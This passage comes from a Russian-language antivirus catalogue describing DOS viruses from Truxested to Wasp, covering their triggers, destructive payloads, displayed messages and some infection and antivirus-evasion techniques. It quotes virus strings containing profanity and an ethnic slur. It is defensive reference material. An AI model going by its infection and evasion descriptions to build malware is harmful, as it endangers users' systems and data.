Truxested.based - вирусы
Данные вирусы сконструированы, видимо, для "демонстрации" видеоэффектов
различных вирусов. Резидентные, заражают COM-файлы.Первого числа месяца
выводят на экран текст:
TRUXESTED virus presents:
the demo effect of the virus ****
где **** - это название вируса, чей эффект будет продемонстрирован
Truxested.based - вирусами. После чего демонстрируется видеоэффект до
нажатия на клавишу Esc. В моей коллекции существует 81 Truxested.based-
вирус. Пытаются сразу же заразить следующие файлы: c:\dos\doskey.com,
c:\dos\edit.com, c:\dos\format.com, c:\dos\keyb.com, c:\dos\sys.com,
c:\dos\unformat.com,c:\windows\win.com.
Tsh.2UP.6000
Опасный шифрованный вирус. В COM-файлы внедряется в начало файла. В
EXE-файлы внедряет свой код в область файла, следующую за заголовком
(header) EXE-файла, корректируя соответствующим образом таблицу
перемещаемых символов (relocation table). Механизм заражения следующий
- при старте программы, в текущем каталоге вирус создает новый файл
OBJXCREF.COM, копирует в него содержимое программы, удаляет исходный
файл и переименовывает файл OBJXCREF.COM в файл с первоначальным
именем. На этапе записи в файл OBJXCREF.COM вирус сначала записывает
6000 байт своего кода (для COM-файлов) или скорректированный заголовок
файла (для EXE-файлов), потом вирусный код, и только после этого
основное тело зараженного файла. Вирус выводит сообщения: "Hello BOBBY!
(BOBBY-Trash Soft & Hardware)" или
г================================================¬
¦ Attention ... No smoking ! Stop Talking ! ¦
г--------¦------------------------------------------------¦--------¬
¦ 2(Two) Unlimited Programists presents: 2UP Virus Version 1.0 ¦
L--------T------------------------------------------------T---------
¦ -=======¬ -T- -T- г---------¬ ¦
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦ ¦ 2UP ¦ ¦
¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ ¦ == ¦ ¦ ¦---------- ¦
¦ -=======- ¦ ¦ ¦ ¦
¦ ¦ ¦ ¦ ¦ ¦
¦ L======== L-------- -¦- ¦
¦ ¦
¦ We'll turn your life into nightmare ¦
L================================================-
Содержит тексты:
Hullo ! Welcome to 2UP virus. Don`t try so hard!
Hallo Mr.Virusolog,now you decod me !It's about fucking time.
What do you think about 2UP Virus ?
This Virus Was Designed in 1992-1994 .It Dedicated For Nobody..
I Want To BreakFree ! Right Now
2UP(C)1994
AID COMMAND ANTI AV HOOK SOS TSAFE -V SCAN NC VC TNT ADINF
Вирус не заражает программы, содержащие в своем имени сочетания букв из
последней строки.
Tsh.Banana.2413
Неопасный резидентный шифрованный стелс-вирус. Иногда (видимо, при
копировании кода резидентного вируса из памяти в файл) может вывести на
экран или записать в файл текст:
----------------------------------
г================================¬-
¦ (C) 1994 Trash Soft & HardWare ¦-
L================================-
Содержит тексты:
Dig here!
Sometimes the banana is just a banana
г==================================¬
¦ The people are still having sex, ¦
¦ and nothing seems to stop them...¦
L==================================-
Don't try to fuck me , Hacker!
Somebody in this world is having sex right now...
Designed in Tver. 1993-94
It's dedicated to all guys from Tver Politechnical Institute,
especially EVM-24, ATP-25, ASU-21...
Release date: 23-May-1994
Tu28II.535
28 февраля в 23 часа выводит сообщение "Tu 28.II !A!".
Tubo
Неопасный загрузочный вирус. Иногда расшифровывает и выводит на экран
текст "ШstanbulCCC was here. He He". Свое название получил за то, что
в выводимой на экран строке в ее зашифрованном состоянии присутствует
текст "tubo".
Tumot.432
Неопасный резидентный вирус. При старте программ, имеющих в своем имени
буквосочетания "WEB." или "AIDS" вирус обезвреживает свою резидентную
копию в памяти, а затем снова ее активизирует.
Tune.544
Неопасный резидентный вирус. При нажатии на Ctrl-Alt-Del вирус издает
некие музыкальные звуки и возвращает управление в DOS.
Tune.663
Неопасный резидентный вирус. После запуска 33 программ сдвигает
изображение на экране вниз и влево.
Turn.557, Turn.571
Неопасные резидентные вирусы. 31 числа изменяют на зеркальные
(перевернутые) изображения букв латинского алфавита от 'A' до 'Z', по
одной букве после каждого запущенного на исполнение COM-файла.
Turner.3276
Опасный резидентный полиморфный вирус. Располагает свою резидентную
копию в области памяти EMS, и только 215 байт располагаются в верхних
адресах памяти. Эти 215 байт производят анализ вызываемых функций INT
21h и производят передачу управления основному вирусному коду. В январе
вирус уничтожает содержимое CMOS-памяти, выводит сообщение:
The Turner Virus Version 3.56
This virus was written in Voronezh in July of 1993
Modified and enhanced with mutant engine & high implantation
In July-November of 1995 by RingWraith
TRY TO CATCH ME IF U RELY K00L!
CMOS ...perverted
MBR ...perverted
Whole disk ...wait...
после чего уничтожает содержимое секторов первого жесткого диска.
Содержит тексты "EMMXXXX0", "=YooHoo=", "SHUTEND".
TV.730
Опасный резидентный вирус. Периодически стирает сектора диска C:.
Содержит строку "TV".
Twofs
Опасный загрузочный вирус. После 256 загрузок с жесткого диска
уничтожает содержимое 102 первых секторов первого жесткого диска.
Uddy.2617
Очень опасные резидентные вирусы. Уничтожают содержимое секторов диска,
записывая в них строку "UDDY UDDY UDDY...", выводят эту строку на экран
и перезагружают компьютер.
UFO.1468
Опасный резидентный шифрованный вирус. "Перехватывает" INT 9,21h. После
3000 нажатий на клавиши вирус выводит один из текстов:
THEY... are here !
We will see who is gonna survive, motherfuckers !
You are all some fuckin Unknown Flying Objects !
UFO has come to destroy the fucking thresh around here !
После 30000 нажатий на клавиши вирус выводит текст "I am sick of a
bullshit like" и уничтожает содержимое CMOS-памяти. Имеет текст "UFO".
Ukraine.3201 (1-3), 3215, 3300, 3537, 3627, 3633
Очень опасные резидентные полиморфные вирусы. Ukraine.3537, 3627, 3633
используют в полиморфном расшифровщике перехват INT 1Ch (таймер). 24
числа месяца выводят текст:
--
--- ---- ---
-- -- ---- -- --
-- -- ---- -- --
-- -- ---- -- --
-- -- ---- -- --
-- -- -- -- --
-- -- -- -- --
-- -- -- -- --
-- -- -- -- --
-- -- -- -- --
-- --- -- --- --
-- --- -- --- --
------ -- ------
-- ---- ---- ---- --
-- ------- -- -- ------- --
-- ------ -- -- ------ --
-- --------- --------- --
-- -- ---- -- --
----------------------------------------------------
-- -- --
--- -- ---
--------
----
24 СЕРПНЯ - ДЕНЬ НЕЗАЛЕЖНОСТI УКРАIНИ !!!
Играют гимн Украины и уничтожают первый жесткий диск. Ukraine.3537,3627
пытаются уничтожить таблицы ADinf на всех доступных дисках. Содержат
также тексты:
Ukraine.3201, 3215 - СЛАВА УКРАIНI !!!
Ukraine.3201(2),3300,3537,3627,3633 - ПАМ'ЯТАЙТЕ КЛЯТI МОСКАЛI !
ОТОЖ !
Ukraine.3201 (3) - ЩЕ НЕ ВМЕРЛА УКРАIНА, ЩЕ НЕ ВМЕРЛА ВОЛЯ !!!
ОТОЖ !
UNashamed (1,2)
Неопасные загрузочные вирусы. После 10:00 и заражения 2 дисков могут
вывести на экран текст "the UNashamed Naked!" и "повесить" систему.
Unbidden.507
Неопасный нерезидентный вирус. Имеет текст ""1996Nov3\Fryazino\Mikhail
G.\Unbidden v1.00"".
UnGame.645
После 4095 нажатий на клавиши переводит монитор в текстовый режим.
UnGame.823
Неопасный резидентный вирус. При установке графического режима #13h
320x200 "перегружает" систему.
Uniform
Неопасный загрузочный вирус. Содержит текст "UNIFORM".
Union.1449, 1531
Неопасные зашифрованные нерезидентные вирусы. Иногда выводят в
графическом видеорежиме два флага: украинский желто-синий и российский
бело-сине-красный и текст "УКРАИНА И РОССИЯ ПОРОДНИЛИСЬ НАВСЕГДА !!!".
Содержат тексты "UNION 2.0" (или "UNION 2.5" - Union.1531) и "*.exe
AIADSCNCPATH".
Urkel (1,2)
Неопасные загрузочные стелс-вирусы. Иногда выводят на экран строку
"Urkel".
Urod.662, 773
Очень опасные нерезидентные вирусы. Оставляют в видеопамяти резидентный
код, который удаляет все открываемые файлы и выводит текст:
Urod.662 - Губатый лаборант-урод
Urod.773 - С новым годом !!!
Urphin.1621
Неопасный резидентный вирус. По возможности, устанавливает свою
резидентную копию в область UMB. При старте программы TPC*.* вирус во
всех открываемых файлах *.PAS пытается найти строку "BEGIN" или
"begin". Если данная строка найдена, то вирус сразу же за этой строкой
записывает текст "ASM", директиву "DB" и конвертирует собственный код в
ассемблерные инструкции в виде байт данных. Заканчиваются вирусные
данные строкой "END;". Далее вирус записывает продолжение *.PAS-файла.
В конец данного *.PAS-файла вирус записывает строку-идентификатор
"{URPHIN0 Ё ¦ ¤}". При закрытии же этого файла (f.3eh Int 21h)
вирус удаляет из него свои данные и восстанавливает файл в
первоначальное состояние. Т.о., при компиляции PAS-файла, содержащего
вирусные данные, получается исполняемый (COM или EXE) инфицированный
файл. Но при визуальном просмотре исходного PAS-файла никаких изменений
в нем обнаружено не будет.
USAHymn.1339
Неопасный нерезидентный вирус. Содержит текст "USA HYMN". 1, 21 и 24
числа исполняет мелодию "Америка", которая никаким образом гимном
Америки не является.
UVScan.1633
Неопасный резидентный полиморфный вирус. Не заражает файлы,начинающиеся
на V3 или SCAN.
V-Sign
Неопасный полиморфный (semipolymorphic) загрузочный вирус. После 64
заражений выводит на экран картинку:
---- ----
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------ ------
------------
----------
--------
------
----
V2Px.1260, V2Px.V2P6.1993
Неопасные нерезидентные полиморфные вирусы. При заражении файлов
используют INT 01, 03 для динамической расшифровки своего кода.
Vacsina.634
Опасный резидентный вирус. 21 мая уничтожает содержимое загрузочного
сектора текущего диска, записывая в него "Happy birthday to Andrew !".
Vacsina.1206, 1212, 1269, 1339
Неопасные резидентные вирусы. Vacsina.1206, 1212 издают звуковой сигнал
при заражении файла. Vacsina.1269 иногда выводит на экран текст "Az sum
vasta lelja.". Содержат строку "VACSINA".
Vandal.1895
Неопасный резидентный шифрованный вирус. Если значение минут системного
времени равно 20, то вирус выводит на экран текст:
Вас приветствует:
очень опасный полиморфный файлово-загрузочный
стелс-вирус: Вандал. 1996г. г.Волгоград.
Етот вирус написан великорусским вирусописателем
пока не очень извесным под кличкой Dark Vandal!!!
Vanitas.2040
Опасный резидентный зашифрованный вирус. Пытается заразить файлы
C:\WINDOWS\COMMAND.COM и C:\COMMAND.COM. 27 марта проявляется каким-то
видеоэффектом. Содержит тексты "VANITAS++ v1.1 (c)GR97 by ANAX.Member
of "VBB"." и "Everyone is Original. [E-75]Chill-Out.".
Varna.1536
Опасный файлово-загрузочный вирус. 8 числа месяца уничтожает содержимое
первого жесткого диска. "Перехватывает" INT 13h и 21h. При чтении
заголовка EXE-файлов (28 байт) заражает данные файлы.
VarWorm.913
Неопасный резидентный зашифрованный вирус. При заражении файлов
записывает перед собой до 64K случайных байт. Содержит текст "Worm!".
VBasic
Пытается заразить *.COM и *.EXE-файлы на всех дисках. Иногда выводит
сообщение "Access denied." и возвращает управление DOS. Содержит строку
"*.EXE BASRUN BRUN *.COM IBMBIO.COM IBMDOS.COM COMMAND.COM *.*".
VCC.based - вирусы
Данные вирусы сконструированы с помощью вирусного конструктора VCC.
Вирусы, созданные с помощью VCC-конструктора заражают COM-файлы.
Содержат текст "[IE-VCC v0.19с]".
VCL.466
Неопасный нерезидентный вирус-спутник. Иногда издает "щелкающие" звуки.
Содержит текст "[VCL]".
VCL.662
Опасный нерезидентный вирус. Содержит тексты:
- Это Рожа Лозинского,Понявшего,Что aidstest-г08но
- А Вот Мостового Еще Не Прохватило...
CHLEN To Danilov's Laboratory !
VCL.BeePoP.587
Неопасный вирус-спутник. Производит поиск EXE-файлов и создает файлы-
спутники с тем же именем, как и у EXE-файла, но с расширением COM, куда
записывает 587 байт своего кода. При старте вирус выводит на экран текст:
Well, nobody is going to give a damn when they found your dead,limp,body in the
river next week with a knife through your heart. They'll just laugh and say...
"Good, I hated anyways." [VCL]
Также имеет текст "FAKE DARK AVENGER!!!(c) BeePoP / [PuKe] WaReZ 1992".
VCL.Mom.974
Опасный нерезидентный вирус. В апреле после 7 числа уничтожает
содержимое логических разделов жесткого диска, после чего выводит
сообщение:
You are hereby notified that your system has just encountered
a very unusuall disk error. This error can be very fatal!!!
Please check your system for any further errors.
DOS EXCEPTION ERROR #13
Содержит строку "MoM#\/# ( ) #\/#".
VCL.Timothy
Неопасный нерезидентный вирус-спутник. 17 января или по понедельникам
выводит сообщение:
Timothy Leary's dead!
No..hey's outside looking in...
Также содержит текст "[VCL] TIMOTHY LEARY WANTS TO TALK410-721-9580.
TIMMY TEACH THEYOUNG THEY NEED GUIDANCE-GRAViTY'S RAiNBOW".
VCode.2540
Очень опасный нерезидентный вирус. В декабре пытается уничтожить
информацию на всех доступных логических устройствах жесткого диска.
Содержит зашифрованные текстовые строки "COMMAND.COM", "X:\CONFIG.SYS".
VComm.637
Неопасный нерезидентный вирус. Производит поиск и заражение
*.EXE-файлов в текущем директории. При заражении вирус увеличивает
размер файла до величины кратной 512 байт, после чего приписывает свой
код. Вирус увеличивает количество перемещаемых элементов EXE -файла на
1. Вирус оставляет в сегменте BFFE:0000h резидентную программу на INT
13h, запрещающую запись на диск.
VCS.based - вирусы
Данные вирусы сконструированы с помощью вирусного конструктора Virus
Construction Set. Заражают COM-файлы. Опасны. Уничтожают содержимое
файлов C:\AUTOEXEC.BAT и C:\CONFIG.SYS.
Vengeance.723
Очень опасный вирус. 20 числа любого месяца выводит сообщение
"*** Vengeance is ours! ***", после чего пытается уничтожить
отформатировать два жестких диска. Содержит также строку "SKISM/Phalcon
'92".
Verify
Опасный загрузочный вирус. 25 числа при записи на диск (f.03 Int 13h)
изменяет значение регистра AH на значение 04 (verify).
Veronika
Неопасный boot-вирус. После заражения 15 дисков выводит такой же текст,
как и вирус Veronika.1549, после чего "завешивает" систему.
Veronika.1549
Опасный резидентный зашифрованный вирус. При 128 обращениях к гибким
дискам (f.0Eh INT 21h) записывает в Boot-сектор флоппи-диска код,
производящий, при загрузке с данной дискеты, вывод на экран текста:
-- -- -------- -------- -------- -- -- ------ -- -- --
-- -- -- -- -- -- -- --- -- -- -- -- ----
-- -- -- -- -- -- -- ---- -- -- -- -- -- --
-- -- -------- -------- -- -- -- -- -- -- ---- -- --
-- -- -- ---- -- -- -- ---- -- -- -- --------
---- -- -- -- -- -- -- --- -- -- -- -- --
-- -------- -- -- -------- -- -- ------ -- -- -- --
Содержит также строки "Veronika" и "Veronika P.".
Verwolf.3502
Неопасный нерезидентный вирус. Оставляет в памяти, по адресу 0040:0054h
резидентный код, способный "завесить" систему при старте некоторых
программ. Содержит текст "My name is VERWOLF1 !".
Vet.1377
Неопасный резидентный вирус. Заражает COM и EXE-файлы, переводя их в
формат EXE-файла. Причем EXE-файлы заражает по нестандартной схеме:
записывает в начало файла свой код, со своим EXE-заголовком, потом
записывает программный код файла-жертвы, после которого записывает
таблицу перемещаемых символов (relocation table). Таким образом, при
лечении таких EXE-файлов, их восстановление в оригинальное состояние,
практически, не предоставляется возможным. Но восстановленный EXE-файл,
в большинстве случаев, должен оказаться работоспособным. При старте
программы, содержащей в своем имени словосочетание "fico", вирус читает
10 первых секторов жесткого диска в память, в область параметров
загрузки данной программы (ES:BX) и выводит текст "Жадность погубит
компанию Фико !". Содержит текстовую строку "VET!".
VICE - вирусы
VICE (Virogen's Irregular Code Engine) - полиморфный генератор вирусных
шифровщиков и расшифровщиков. Существуют несколько версий генератора.
Они содержат текстовые строки:
[VICE v0.1с, by virogen]
{VICE v0.2с, by virogen [NuKE]}
{ViCE v0.3с, by virogen [NuKE]}
[viCE v0.5, by virogen]
VICE.Code
Очень опасный резидентный полиморфный вирус. Удаляет файлы, упакованные
архиваторами ARJ и ZIP, а также файлы, начинающиеся на -V, MS, CP. Не
заражает файлы, имена которых оканчиваются на ND, AN, AV, OF, NU.
Содержит текст "CodeJournal by virogen [NuKE]".
VICE.One13th
Опасный резидентный полиморфный вирус. Уничтожает файлы ANTI-VIR.DAT,
CHKLIST.MS, CHKLIST.CPS, а также некоторые файлы антивирусной системы
InVircible. Имеет строку "One/Thirteenth, coded by virogen [NuKE]".
Victim.600
В четверг прибавляет к значению системного времени 100 лет. Содержит
текст "Victim of Galeocerdo cuvieri".
Vienna.based - вирусы
Данные вирусы написаны на базе исходных текстов первого знаменитого
вируса Vienna.648.
Vienna.458
Содержит текст "DUSHANBE M&A!".
Vienna.462
Содержит текст "Angel".
Vienna.481
Иногда пытается отформатировать 3 дорожку жесткого диска.
Vienna.483
Содержит строку "Kiev 1990".
Vienna.502
14 января пытается отформатировать 3 дорожку жесткого диска. Содержит
тексты "/mw soft/93.3.15/norilsk/", "Wvt Zybex".
Vienna.547
Содержит строку "IBM".
Vienna.625
8 июня выводит на экран сообщение "Greetings from Ivan".
Vienna.660
Иногда выводит текст "How long since you have cleaning? You have a
fleas.".
Vienna.776
Иногда выводит текст:
Я, кажется, подхватила какую-то заразу...
Срочно звоните Дмитрию Николаевичу Лозинскому
по телефону 292-40-76 (Москва) и приобретите
ПРОГРАММУ AIDSTEST !!!
Vienna.998
Зашифрованный вирус. Содержит текст "The DIRTY COMMY said ..".
Vienna.1239
Пытается уничтожить 3 первых сектора цилиндра 0 головки 1 первого
жесткого диска.
Vienna.Twer
Содержит строку "Twer 1991".
Viking.59
В настоящее время данный вирус является мировым рекордсменом среди
самых маленьких резидентных файловых вирусов, сохраняющих
работоспособность инфицированных программ. Является усовершенствованной
модификацией вирусов Dinky, но с использованием пары неплохих приемов.
Viking.Mixtura
Неопасный резидентный вирус. Не заражает файлы, начинающиеся на -V, AI,
AD, M. Содержит текст "Crypted Here-"", после которого, видимо, идет
зашифрованный текст, а также:
ViKing-Mixtura,CopyLeft (L) 1993 by ViKing.
ViKing is The Real King of Viruses' Kingdom.
Villy
Неопасный загрузочный вирус. Имеет текст "Rift Villy, boot ver. 2.0".
Vinchuca.925
Очень опасный резидентный шифрованный вирус. 3 июля пытается уничтожить
содержимое 17 секторов 4 головок на всех дорожках жесткого диска. 3
числа любого месяца выводит на экран текст:
г========================================¬
¦ Virus ViNCHuCa V1.0 1993. ¦
¦ Creado por MURDOCK. ¦
¦ Buenos Aires ,Argentina. ¦
¦ ¦
¦ Su PC tiene Mal de Chagas....jajaja... ¦
L========================================-
Содержит также строку "Saludos para SaTaNiC BRaiN y Patoruzu".
Vinnitsa.1046
Опасный нерезидентный вирус. Разрушает DBF-файлы, записывая в них
первым байтом - байт 6.
Vinnitsa.1207
Очень опасный резидентный вирус. Иногда записывает информацию из
видеобуфера в случайные сектора диска методом длинной записи (f.0Bh
INT 13h). После такой записи данные сектора обычным способом (f.02 INT
13h) прочитать не удастся. Вирус перехватывает INT 10h, 16h, 21h. Вирус
замедляет вывод на экран через INT 10h. Устраивает некоторые "шутки" с
клавиатурой. Содержит текст "Vinnitsa (c)1994 by Eddie Murphy".
Vinnitsa.1620, 1658
Очень опасные резидентные зашифрованные вирусы. Иногда уничтожают
информацию в случайных секторах диска, разрушают DBF-файлы, записывают
случайные числа в случайные порты. Содержат текст "Vinnitsa 1992 year
Hacker all country, united!!!".
VirCheck.2161, 2170
Неопасные резидентные шифрованные вирусы.В четверг 12-го выводят текст:
-============ VirCheck V1.2 (C)1991 ===========¬
¦ Be aware of those worms out there, violating ¦
¦ your machine on Friday 13th - it's tomorrow! ¦
¦ ¦
¦ Special thanks to Ross M. Greenberg, ¦
¦ Patricia M. Hoffmann and John McAfee ¦
L======== Press any key to continue... ========-
Virgin.281
Содержит строку "VirVirgin".
Virogen.ASeXual
Опасный полиморфный вирус. Заражает COM-файлы стандартным способом,
записывая свой код в конец файла, а EXE-файлы заражает, как
вирус-спутник, создавая файл с расширением COM, но с таким же именем,
как и у EXE-файла. Удаляет файлы CHKLIST.* ANTI-VIR.*. 2 числа каждого
месяца выводит на экран текст:
ASeXual Virus V0.99 - Your computer has been artificially Phucked!
Содержит текст "(c)1993 - Virogen".
Virogen.BombTrack
Опасный резидентный полиморфный вирус. Удаляет файлы CHKLIST.MS и
CHKLIST.CPS. Может удалить все файлы в текущем директории и создать
директории NEVERэne. и BOMBTRA.CK. Содержит строку "BOMBTRACK v1.00 -
Coded by NEVERэne (BELGiUM)".
Virogen.Offspring.711
14 числа выводит на экран текст:
(c)1993 VG Enterprises
* Congratulations, You have recieved the privelge of being infected by the *
* Offspring I v0.05. *
Virogen.Offspring.1130
Неопасный полиморфный вирус. Для EXE-файлов - вирус-спутник. 9 числа
выводит текст "OFFSPRING V0.81", после чего начинает издавать звуковой
сигнал и мигать лампочками на клавиатуре. Содержит также еще одну
строку "(c)1993 negoriV".
Virogen.Offspring.1294
Полиморфный неопасный вирус. 14 числа выводит на экран текст:
(c)1993 negoriV
* Thank you for providing me and my offspring with a safe place to live *
* Offspring I v0.07. *
Virogen.Offspring.1555
Опасный резидентный полиморфный вирус. Для EXE-файлов - вирус-спутник.
Удаляет файлы CHKLIST.*, ANTI-VIR.DAT. По 9 числам месяца выводит текст
"OЯЯspring Virus V0.89". Содержит текст "GA(c) virogen".
Virogen.PinWorm
Опасный резидентный полиморфный вирус. Удаляет файлы CHKLIST.CPS и
CHKLIST.MS. 1 числа любого месяца создает директории PIяWщrM.vg!, а в
нем создает 13 файлов:
I hope y
ou have
enjoyed
your inf
estation
by the
mighty P
inworm p
arasite·
········
Fuck you
all!
-virogen
Содержит строку "PIяWщrM v1.00 - Coded by virogen in April 1994".
Viros.429
Неопасный резидентный вирус. Размещает свою резидентную копию по адресу
6800:0000. Выводит сообщение:
--------------¬
¦ VIROs v1.1 ¦
L--------------
Virus90.857, Virus101.2560
Нерезидентные вирусы. Virus101.2560 - шифрованный, опасный вирус.
Выводят на экран сообщения:
Virus90.857 - Infected!
Virus101.2560 - This file has been safely infected by
VIRUS101 - the safe, educational virus utility.
This copy furnished to John McAfee.
Virus90.857 периодически сдвигает символы на экране и "перегружает"
систему. Virus101.2560 в загрузочных секторах дисков производит замену
текстовой строки "Non system disk or disk error!" на вышеприведенный
текст.
VirusConstructor.based - вирусы
Данные вирусы сконструированы с помощью вирусных конструкторов IVP,
PS-MPC, G2 или VCL. Вирусные конструкторы - это программы, способные
создавать исходные тексты, объектные и исполняемые вирусные модули.
Существует возможность задания различных вариантов и типов вирусов в
файлах конфигурации конструкторов или непосредственно из меню программы
(VCL). Вирусные конструкторы позволяют создавать резидентные или
нерезидентные вирусы, заражающие COM, EXE, или COM/EXE-файлы,
шифрованные или нешифрованные, замещающие программный код (overwriting)
или вирусы-спутники (companion). А также позволяют задавать наличие в
вирусах всевозможных текстовых строк, видеоэффектов и деструктивных
функций.
Viv.513, Viv.524, Viv.771
Содержат в своем теле слово "VIV". Viv.771 после 4097 вызовов INT 21h
затирает таблицу прерываний нулями.
Vlad
Неопасный Boot-вирус. Записывает свой код в flash BIOS, если он имеется
на компьютере.
Vlad.Antipode
Неопасный резидентный шифрованный вирус. Содержит текстовую строку
"TBSCAN.EXE[Antipode 1.0] by Automag/VLAD".
Vlad.Daddy
Опасный резидентный вирус. Удаляет файлы ANTI-VIR.DAT, MSAV.CHK,
CHKLIST.CPS, CHKLIST.MS. Содержит текст "[Incest Daddy] by Qark/VLAD".
Vlad.Fame
Неопасный файлово-загрузочный вирус. Содержит текст "FAME by Quantum /
VLAD".
Vlad.Hemlock
Неопасный резидентный файлово-загрузочный полиморфный стелс-вирус.
Заражает MBR жесткого диска, Boot-сектора флоппи-дисков, COM, EXE и
SYS-файлы. Перехватывает INT 09, 13h, 21h. "Переживает" перезагрузку
системы при нажатии на Ctrl-Alt-Del. При старте программы TBSCAN вирус
подставляет в командную строку программы ' co nm'0Dh. При старте
программы WIN в командную строку подставляются значения ' /d:f',0Dh
(16-битовый доступ к диску). При старте программ CHKDSK, PKZIP, ARJ,
NDD, SCANDISK, LHA вирус "выключает" свой стелс-режим. При загрузке с
инфицированного MBR вирус перехватывает INT 09, 13h, копирует таблицу
векторов прерываний в свой буфер, и затем пытается определить в памяти
наличие драйвера DOSDATA.SYS из комплекта QEMM. Если данный драйвер
будет найден, то вирус пытается определить запуск файла AUTOEXEC.BAT
или любой EXE-программы, после чего перехватывает INT 21h. Если же
драйвер DOSDATA.SYS не найден вирусом, то перехват INT 21h
осуществляется после чтения 10 заголовков EXE-файлов через INT 13h. При
нажатии на Ctrl-Alt-Del вирус определяет тип процессора, а также для
процессоров 286+ нахождение их в защищенном режиме. Если процессор 286+
работает в защищенном режиме, то перезагрузка системы игнорируется. В
противном случае, а также для процессоров ниже 286 - в область таблицы
векторов прерываний копируется старая таблица из буфера вируса, после
чего производится вызов INT 19h. Вирус содержит текст "Hemlock by
[qark/VLAD]".
Vlad.Mummy
Неопасный резидентный шифрованный вирус-спутник. Содержит текст
"[Mummy Incest] by VLAD of Brisbane. Breed baby breed!".
Vlad.Lapis
Неопасный резидентный вирус. Внедряет 445 байт своего кода в область
стартовых байт EXE-программы, перенеся их в конец файла. Содержит текст
"[Lapis-Lazuli], Rhince/VLAD".
Vlad.Sister
Неопасный резидентный шифрованный вирус. Содержит текст
"[Incest Sister] by VLAD - Brisbane, OZ".
Vodka.551, 560
Неопасные (Vodka.551 - опасен) резидентные вирусы. В мае Vodka.551
записывает в начало запускаемых COM-файлов код, который выводит текст:
COM_ДИБИ центр г.ХАРЬКОВ
тел 03
Vodka.560 может вывести на экран текст "Пиво,Водку пить - здоровью
вредить!? (Y/N)" и ожидать нажатия на клавиши "Y" или "N". Содержит
текст "(copyleft) ДИБИЛИЗАТОР ver. 1.2".
Vojager.512
Неопасный резидентный вирус. Содержит строку "Vojager".
Voronezh.650
Иногда выводит на экран сообщение "Video mode 80x25 not supported".
Имеет также строку "16.01.91, v1.00, Химик & Слон".
Voronezh.1536 (1-3)
Опасные резидентные вирусы. При печати на принтере иногда изменяют
некоторые слова на нецензурные.
Voronezh.1584
Опасный резидентный вирус. Портит DBF-файлы.
Voronezh.1600 (1,2)
Неопасные резидентные вирусы. Содержат строку "Voronezh,1990 2.01".
Vpk.1430
Опасный резидентный вирус. "Перехватывает" INT 10h, 21h, 4Ah.
Устанавливает 2 резидентные копии: одну в область видеопамяти по адресу
B800:0FA0h "на" INT 10h и 21h,другую - в верхние адреса памяти "на" INT
4Ah. Периодически копирует код из второй копии в видеопамять. Иногда
при выводе на экран заменяет русские буквы на латинские. Может записать
в MBR первого жесткого диска троянский код, который после нескольких
перезагрузок "завешивает" систему. Может вывести текст """ Russian
killer! """. Также содержит текст "Привет Лозинскому от ВПК !".
VS.612
Неопасный резидентный вирус. Содержит текст:
VS-01. (C) 1993, ViruSystems inc.
VS
VS.2790
Неопасный резидентный стелс-вирус. Если в течение 6 минут не было
нажатий на клавиши, вирус исполняет гимн СССР. Содержит текст:
VS-061-"STEALTHIE". (C) 1993, ViruSystems inc.
VS
VS.3900, 4000
Неопасные резидентные полиморфные стелс-вирусы. При отсутствии ввода с
клавиатуры в течение 15 минут выводят одну из 4 мелодий. Содержат
тексты:
VS.3900 -
VS-071-"GHOST". (C) 1993, ViruSystems inc.
High performance music mutant virus, enhanced version 7.1.
Shareware.
***MAKERS OF VIRUSES OF THE WORLD, UNITE !!!***VS
VS.4000 -
VS-072-"GHOST". (C) 1993, ViruSystems inc.
High performance mutant virus, enhanced version 7.2.
Special thanks to E.Kaspersky!
*** MAKERS OF VIRUSES OF THE WORLD, UNITE!!! ***VS
Vs&W.507
Неопасный резидентный вирус. Содержит строку "MadMax". Принадлежит к
наследию Хижняка.
Vtb
Опасный boot-вирус. Оригинальный MBR жесткого диска при заражении не
сохраняет.
Vxt.550
Неопасный резидентный шифрованный вирус.Содержит текст "* [VXT-1 Virus]
(c) 1996 SMSoft *".
Wadimka.481
Содержит текст "Wadimka v2.1 (c)Copyright 1996 Wadim in Moscow".
Walker.3846
Неопасный резидентный вирус. Перехватывает INT 16h, 21h. Периодически
выводит на экран в текстовом режиме симпатичного шагающего человечка.
Схематично его можно изобразить следующим образом:
---
--------
---------
----------
----------
-------
------
------
-- ----
-- -------
-- ---------
-------------
------ ----
-----------
-------------
------------
------------
-- ----
-------- ---
------- -- ---
---------
-------
Также вирус содержит строку "WALKER V1.00 - This absolutely harmless
and selfdestructive program is written by UJHPTTLZ in the city of
Istanbul, 1992".
Wally.1029
Очень опасный нерезидентный вирус. Может уничтожить содержимое первого
жесткого диска и вывести текст "Virus Wally versao programa.Tente me
encontrar.".
Waria.479
Неопасный нерезидентный вирус. Иногда пытается вывести на экран текст
"byWARIA!v1.0", но у вируса это не получается.
Warlock.666
Неопасный нерезидентный шифрованный вирус. Заражает файлы после 15.00.
Содержит строку "WARLOCK".
Warlock.1672, 1802, 1817
Опасные резидентные вирусы. В файлы, содержащие в начале байт со
значением 3 (DBF-файлы) или 0 (Warlock.1672), записывают 32 байта C3h
или 0. Warlock.1672 содержит текст "WARLOCK", а Warlock.1817 - "Revenge
of WARLOCK!".
Warlock.2879
Очень опасный резидентный вирус. Уничтожает файлы, содержащие байт 3 в
начале (DBF-файлы), а также все файлы, кроме EXE, после 30 заражений,
записывая в их начало 32 байта. Содержит текст "WARLOCK".
Warrior.1024
Опасный нерезидентный вирус. Устанавливает в верхние адреса памяти свою
резидентную копию и "перехватывает" INT 21h. При вызове функции записи
в файл (f.40h Int 21h) резидентная копия вируса устанавливает адрес
буфера записи на свой текст:
... and justice for all! (US constitution)
Dream Over ... And the alone warrior is warrior.The powerfull WARRIOR!
Wart.559
Опасный резидентный вирус. "Перехватывает" INT 21h, 28h. Может
уничтожить 3 первых сектора диска A: и и отключить наличие дисководов в
CMOS-памяти.
Wasp.1312
Опасный нерезидентный вирус. Иногда проверяет версию MS-DOS.Если версия
MS-DOS не является версией 6.22, то вирус выводит текст "Incorrect DOS
version", в противном случае вирус записывает в файл C:\IO.SYS вместо
строки "Starting" (Starting MS-DOS) - строку "Fucking", после чего
выводит текст "Insufficient memory". Периодически пытается записать в
загрузочный сектор диска A: по смещению 1A0h текст:
I'm W.A.S.P.
Fuckyourself !
Этот же текст вирус выводит на экран в четверг. Иногда устанавливает в
